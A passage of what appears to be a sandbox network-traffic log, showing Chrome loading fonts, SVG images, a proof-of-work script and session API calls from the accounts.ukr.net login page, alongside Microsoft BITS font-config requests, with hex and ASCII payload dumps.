,#J\|:5P$tT(pv1MJ_Yb!,=qA[Qj{UY~`&#tZLc"qctI8.ddJ%FF%("m*fF{)%<P,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49726	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:59 UTC	624	OUT	GET /login/assets/inter-medium-cyrillic-rEpTbtr3.woff2 HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://accounts.ukr.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:48:59 UTC	333	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:48:59 GMT Content-Type: font/woff2 Content-Length: 6532 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-1984" Expires: Sat, 09 Nov 2024 11:48:59 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:48:59 UTC	6532	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 19 84 00 0d 00 00 00 00 37 40 00 00 19 2f 00 03 04 dd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 81 50 1b 93 52 1c 82 74 06 60 00 82 1c 0a c6 6c b6 5b 01 36 02 24 03 84 48 0b 82 26 00 04 20 05 82 58 07 20 1b 26 2d a3 a2 8e b4 5a e5 20 8a 92 b9 18 cd fe f2 80 27 e3 35 5e c2 62 29 f1 4d 51 f1 10 8f 65 66 68 5e d1 aa 62 42 3b 60 8c 88 31 58 b1 ef eb 08 7a a5 7b 1d 8e 37 39 3e 42 63 9f e4 12 55 cb 32 7b cd ec 1b 63 b9 44 a8 82 2b c4 ad 07 cc 07 ff 78 00 05 91 e3 12 42 b7 75 b4 96 ce ec ed 13 43 00 00 84 4a 6a eb 2a 0c 29 72 d1 75 ec 03 fc dc 7a db d8 df 67 44 d4 46 9f 44 5a 05 98 0d 18 8c 8c 43 44 ca ea 11 a2 cd a4 da 28 10 ce 43 6a 44 19 a0 8d 84 45 0b 83 1e cf 13 57 7b bb 77 a7 50 93 f0 09 96 65 cd 62 59 09 Data Ascii: wOF27@/PRt`l[6$H& X &-Z '5^b)MQefh^bB;`1Xz{79>BcU2{cD+xBuCJj*)ruzgDFDZCD(CjDEW{wPebY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49723	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:48:59 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-26 11:48:59 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=104163 Date: Sat, 26 Oct 2024 11:48:59 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49730	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:00 UTC	625	OUT	GET /login/assets/inter-regular-cyrillic-gDZy7y86.woff2 HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://accounts.ukr.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:00 UTC	333	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:00 GMT Content-Type: font/woff2 Content-Length: 6172 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-181c" Expires: Sat, 09 Nov 2024 11:49:00 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:00 UTC	6172	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 18 1c 00 0d 00 00 00 00 36 68 00 00 17 c6 00 03 04 dd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 81 50 1b 93 14 1c 82 74 06 60 00 82 1c 0a c5 44 b7 05 01 36 02 24 03 84 48 0b 82 26 00 04 20 05 82 68 07 20 1b 22 2d 05 c7 75 d8 38 00 48 38 1e 88 ec ff 3a 81 1b 43 f1 7d a0 55 74 d8 81 91 4c cd 56 c4 97 b2 4e 4b 6f 7d 42 fa f7 1d 59 27 3a 29 5f d4 15 ab 6b b1 5c 37 d0 8d bc 76 6e e7 e2 3f 6e b9 c7 82 0c c2 f9 fd 71 78 ac 8c 90 64 96 e7 3f 47 fe 4e d2 e6 25 4d 3f fb e6 bf 53 28 9c 04 e1 18 b4 65 3c c2 ae cb f5 ff 5f a7 de f7 f5 0d c0 8a 21 80 72 10 41 76 08 cb 09 0f 4b 77 1a 66 9c 7a 3a 65 1b ca c3 db ed dd 3e 1c b4 25 d4 12 0e 02 0b a8 1d 5e 16 48 f3 20 b0 34 c0 88 a3 34 a1 7e e0 7f 9b 7f f8 5d ae 9f 0c 8b 5e Data Ascii: wOF26hPt`D6$H& h "-u8H8:C}UtLVNKo}BY':)_k\7vn?nqxd?GN%M?S(e<_!rAvKwfz:e>%^H 44~]^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49729	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:00 UTC	619	OUT	GET /login/assets/inter-bold-latin-4bgN5WJ1.woff2 HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://accounts.ukr.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:00 UTC	334	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:00 GMT Content-Type: font/woff2 Content-Length: 24288 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-5ee0" Expires: Sat, 09 Nov 2024 11:49:00 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:00 UTC	16050	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 5e e0 00 0d 00 00 00 01 03 e4 00 00 5e 89 00 03 04 dd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 7c 1b 81 91 0e 1c e2 50 06 60 00 85 50 0a 81 ee 1c 81 bd 05 01 36 02 24 03 90 4c 0b 88 28 00 04 20 05 82 50 07 20 1b 44 e6 07 d8 74 a0 b9 a7 de 10 e5 fa d6 6a 96 a6 1a b6 4d 9b e9 f5 66 0c 0d 15 ff 3b 75 66 20 8f 83 90 f1 1a d9 ff ff e7 04 19 63 6c 83 bc 3d af 68 96 18 91 a8 84 56 9f e7 6a 5d ab e9 6e a8 c5 1a 70 91 f6 14 65 b5 6d df aa ad ea 2a 43 4f 45 65 f1 28 d1 85 4a 45 3c 0a 71 22 e2 78 22 a2 13 8f 2d 3f ed 3b e0 78 7b 79 f3 aa e2 77 a9 7a 7b a9 de 41 94 01 82 61 fd f6 62 b7 fa 33 f7 41 ff 6d d8 bd 55 c2 32 f1 9d e6 00 cf 07 ce 23 5d 4c bd 7a 32 79 79 6f 8b c2 ab 35 5a 4c b5 05 61 08 03 30 0c 81 03 0c 11 Data Ascii: wOF2^^\|P`P6$L( P DtjMf;uf cl=hVj]npem*COEe(JE<q"x"-?;x{ywz{Aab3AmU2#]Lz2yyo5ZLa0
2024-10-26 11:49:00 UTC	8238	IN	Data Raw: b7 a1 20 a1 b9 2c 2a a2 b1 38 31 b1 b1 28 32 aa a9 0c dc 8e 27 dd ca d6 76 6a bc 24 24 df fb 14 c6 fd ff 3d f7 e6 29 31 71 87 f3 cc a9 89 9e e1 6f 57 d0 e0 fb 97 4b d6 b7 0d 1e df 5d ef ba ce c2 5f e7 0c 1a 6f a3 bd ab dd 9d eb 20 0b 8a 3b ee f5 9e 1a 82 db 0f 4a 06 78 b8 d4 55 10 e0 6a b5 7a 61 5c 2d af 7e bb fc c6 3f 93 b0 73 e2 66 c6 d2 18 64 64 91 a4 38 c1 7b ea f6 53 7f 00 a8 4f 62 7c 77 52 3b 36 e9 af d0 80 ea 13 50 e6 37 78 24 f8 62 4a 66 d1 78 49 22 fd 66 cb 8d d7 67 2e 3f 17 c2 67 3a c9 81 9b 95 ba c8 73 09 fd 4e e6 cf f4 a1 fb 62 59 65 6b ab 2e 25 0b 22 d3 fb 55 a4 f1 d4 a8 ee ec 91 33 42 cd 6b 99 d7 a8 89 14 b9 96 0c 75 75 b0 b5 c0 30 e9 d6 d2 e4 c0 de f3 44 a4 80 da e4 c9 d6 e6 d3 97 1f 4f 5e 0e ef 79 7a 17 d3 70 47 e7 f7 67 e5 fd b3 b9 ac be Data Ascii: ,*81(2'vj$$=)1qoWK]_o ;JxUjza\-~?sfdd8{SOb\|wR;6P7x$bJfxI"fg.?g:sNbYek.%"U3Bkuu0DO^yzpGg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49731	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:00 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-26 11:49:01 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=104162 Date: Sat, 26 Oct 2024 11:49:00 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-26 11:49:01 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49732	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:01 UTC	381	OUT	GET /login/assets/app-store-badge-83fca98c.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:01 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:01 GMT Content-Type: image/svg+xml Content-Length: 6828 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-1aac" Expires: Sat, 09 Nov 2024 11:49:01 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:01 UTC	6828	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 31 39 2e 36 36 34 22 20 68 65 69 67 68 74 3d 22 34 30 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 31 30 2e 31 33 35 20 30 48 39 2e 35 33 35 51 38 2e 39 38 36 20 30 20 38 2e 34 34 2e 30 30 32 71 2d 2e 34 35 37 2e 30 30 34 2d 2e 39 31 39 2e 30 31 33 41 31 33 20 31 33 20 30 20 30 20 30 20 35 2e 35 31 37 2e 31 39 61 36 2e 37 20 36 2e 37 20 30 20 30 20 30 2d 31 2e 39 2e 36 32 37 20 36 2e 34 20 36 2e 34 20 30 20 30 20 30 2d 31 2e 36 32 20 31 2e 31 38 41 36 2e 33 20 36 2e 33 20 30 20 30 20 30 20 2e 38 32 20 33 2e 36 31 37 20 36 2e 36 20 36 2e 36 20 30 20 30 20 30 20 2e 31 39 35 20 35 2e 35 32 61 31 33 20 31 33 20 30 20 30 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="119.664" height="40"><path d="M110.135 0H9.535Q8.986 0 8.44.002q-.457.004-.919.013A13 13 0 0 0 5.517.19a6.7 6.7 0 0 0-1.9.627 6.4 6.4 0 0 0-1.62 1.18A6.3 6.3 0 0 0 .82 3.617 6.6 6.6 0 0 0 .195 5.52a13 13 0 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49733	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:01 UTC	383	OUT	GET /login/assets/google-play-badge-8c42ddbd.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:01 UTC	336	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:01 GMT Content-Type: image/svg+xml Content-Length: 4754 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-1292" Expires: Sat, 09 Nov 2024 11:49:01 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.37:5080
2024-10-26 11:49:01 UTC	4754	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 20 77 69 64 74 68 3d 22 31 38 30 22 20 68 65 69 67 68 74 3d 22 35 33 2e 33 33 33 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 31 30 30 66 30 64 22 20 64 3d 22 4d 31 37 33 2e 33 33 20 35 33 2e 33 33 33 48 36 2e 36 37 63 2d 33 2e 36 36 37 20 30 2d 36 2e 36 36 36 2d 33 2d 36 2e 36 36 36 2d 36 2e 36 36 37 56 36 2e 36 36 39 43 2e 30 30 34 20 33 20 33 2e 30 30 34 20 30 20 36 2e 36 37 20 30 68 31 36 36 2e 36 36 63 33 2e 36 36 37 20 30 20 36 2e 36 36 37 20 33 20 36 2e 36 36 37 20 36 2e 36 36 36 76 34 30 63 30 20 33 2e 36 36 36 2d 33 20 36 2e 36 36 36 2d 36 2e 36 36 37 20 36 2e 36 36 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" width="180" height="53.333"><path fill="#100f0d" d="M173.33 53.333H6.67c-3.667 0-6.666-3-6.666-6.667V6.669C.004 3 3.004 0 6.67 0h166.66c3.667 0 6.667 3 6.667 6.666v40c0 3.666-3 6.666-6.667 6.666

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49734	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:01 UTC	370	OUT	GET /login/assets/file-20d110f0.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:01 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:01 GMT Content-Type: image/svg+xml Content-Length: 15596 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-3cec" Expires: Sat, 09 Nov 2024 11:49:01 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:01 UTC	15596	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 3c 64 65 66 73 3e 3c 70 61 74 68 20 69 64 3d 22 69 63 6f 6e 2d 6d 61 73 6b 2d 65 66 63 63 61 22 20 64 3d 22 4d 31 36 2e 35 20 30 61 2e 37 35 2e 37 35 20 30 20 30 31 2d 2e 30 37 38 2e 33 33 33 6c 2d 2e 31 30 34 2e 31 39 38 2d 2e 31 34 34 2e 32 35 35 2d 2e 31 38 35 2e 33 30 37 2d 2e 31 30 38 2e 31 37 61 31 34 20 31 34 20 30 20 30 31 2d 31 2e 35 34 32 20 31 2e 39 39 38 43 31 32 2e 36 31 32 20 35 2e 31 31 38 20 31 30 2e 35 37 38 20 36 2e 32 35 20 38 2e 32 35 20 36 2e 32 35 53 33 2e 38 38 38 20 35 2e 31 31 38 20 32 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><path id="icon-mask-efcca" d="M16.5 0a.75.75 0 01-.078.333l-.104.198-.144.255-.185.307-.108.17a14 14 0 01-1.542 1.998C12.612 5.118 10.578 6.25 8.25 6.25S3.888 5.118 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49737	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:04 UTC	702	OUT	POST /api/v1/token/verification/acquire HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Content-Length: 9 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.ukr.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:04 UTC	9	OUT	Data Raw: 7b 22 75 69 64 22 3a 30 7d Data Ascii: {"uid":0}
2024-10-26 11:49:04 UTC	179	IN	HTTP/1.1 599 UNKNOWN Server: nginx Date: Sat, 26 Oct 2024 11:49:04 GMT Content-Type: application/json Content-Length: 27 Connection: close X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:04 UTC	27	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 69 6e 76 61 6c 69 64 5f 73 65 73 73 69 6f 6e 22 7d Data Ascii: {"error":"invalid_session"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49738	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:04 UTC	691	OUT	POST /api/v1/cai/browser/get HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive Content-Length: 2 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.ukr.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:04 UTC	2	OUT	Data Raw: 7b 7d Data Ascii: {}
2024-10-26 11:49:04 UTC	468	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:04 GMT Content-Type: application/json Content-Length: 107 Connection: close Set-Cookie: clapid=6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE; path=/; expires=Mon, 26 Oct 2026 11:49:04 GMT; secure; HttpOnly; SameSite=Lax Expires: Sat, 26 Oct 2024 11:49:03 GMT Cache-Control: no-cache X-Served-By: 127.0.0.1:10000 X-Upstream: 4110.10.20.37:5080
2024-10-26 11:49:04 UTC	107	IN	Data Raw: 7b 22 69 64 22 3a 22 36 44 32 46 6a 41 41 41 41 41 43 55 77 43 48 73 76 68 63 52 31 4c 49 79 51 36 35 35 39 39 48 74 2d 50 73 46 72 31 59 43 4e 55 66 68 30 2d 39 63 5f 49 79 45 74 77 3a 77 72 6f 48 30 75 59 67 30 38 57 64 4a 31 4c 5a 71 75 45 6c 4b 42 34 6d 4f 46 52 79 52 30 4c 5a 34 59 69 6c 66 4d 6f 66 5f 46 45 22 7d Data Ascii: {"id":"6D2FjAAAAACUwCHsvhcR1LIyQ65599Ht-PsFr1YCNUfh0-9c_IyEtw:wroH0uYg08WdJ1LZquElKB4mOFRyR0LZ4YilfMof_FE"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49741	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:04 UTC	593	OUT	GET /login/js/pow-worker-wasm.js?ab3ac7fc HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:04 UTC	346	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:04 GMT Content-Type: application/javascript Content-Length: 53526 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-d116" Expires: Sat, 09 Nov 2024 11:49:04 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:04 UTC	16038	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 5f 5f 77 65 62 70 61 63 6b 5f 6d 6f 64 75 6c 65 73 5f 5f 3d 7b 32 34 31 33 3a 28 6d 6f 64 75 6c 65 2c 5f 5f 75 6e 75 73 65 64 5f 77 65 62 70 61 63 6b 5f 65 78 70 6f 72 74 73 2c 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 29 3d 3e 7b 76 61 72 20 50 4f 57 3d 66 75 6e 63 74 69 6f 6e 28 50 4f 57 29 7b 50 4f 57 3d 50 4f 57 7c 7c 7b 7d 3b 76 61 72 20 4d 6f 64 75 6c 65 3d 50 4f 57 2c 4d 6f 64 75 6c 65 3b 4d 6f 64 75 6c 65 7c 7c 28 4d 6f 64 75 6c 65 3d 28 76 6f 69 64 20 30 21 3d 3d 50 4f 57 3f 50 4f 57 3a 6e 75 6c 6c 29 7c 7c 7b 7d 29 3b 76 61 72 20 6d 6f 64 75 6c 65 4f 76 65 72 72 69 64 65 73 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 6b 65 79 20 69 6e 20 4d 6f 64 75 6c 65 29 4d 6f 64 75 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 Data Ascii: (()=>{var __webpack_modules__={2413:(module,__unused_webpack_exports,__webpack_require__)=>{var POW=function(POW){POW=POW\|\|{};var Module=POW,Module;Module\|\|(Module=(void 0!==POW?POW:null)\|\|{});var moduleOverrides={};for(var key in Module)Module.hasOwnProp
2024-10-26 11:49:04 UTC	16384	IN	Data Raw: 74 69 6d 65 49 6e 69 74 69 61 6c 69 7a 65 64 3d 21 31 2c 72 75 6e 74 69 6d 65 45 78 69 74 65 64 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 70 72 65 52 75 6e 28 29 7b 69 66 28 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 29 66 6f 72 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 26 26 28 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 3d 5b 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 5d 29 3b 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 2e 6c 65 6e 67 74 68 3b 29 61 64 64 4f 6e 50 72 65 52 75 6e 28 4d 6f 64 75 6c 65 2e 70 72 65 52 75 6e 2e 73 68 69 66 74 28 29 29 3b 63 61 6c 6c 52 75 6e 74 69 6d 65 43 61 6c 6c 62 61 63 6b 73 28 5f 5f 41 54 50 52 45 52 55 4e 5f 5f 29 7d 66 75 6e 63 74 69 6f 6e 20 65 6e 73 75 72 65 49 6e 69 74 52 75 6e Data Ascii: timeInitialized=!1,runtimeExited=!1;function preRun(){if(Module.preRun)for("function"==typeof Module.preRun&&(Module.preRun=[Module.preRun]);Module.preRun.length;)addOnPreRun(Module.preRun.shift());callRuntimeCallbacks(__ATPRERUN__)}function ensureInitRun
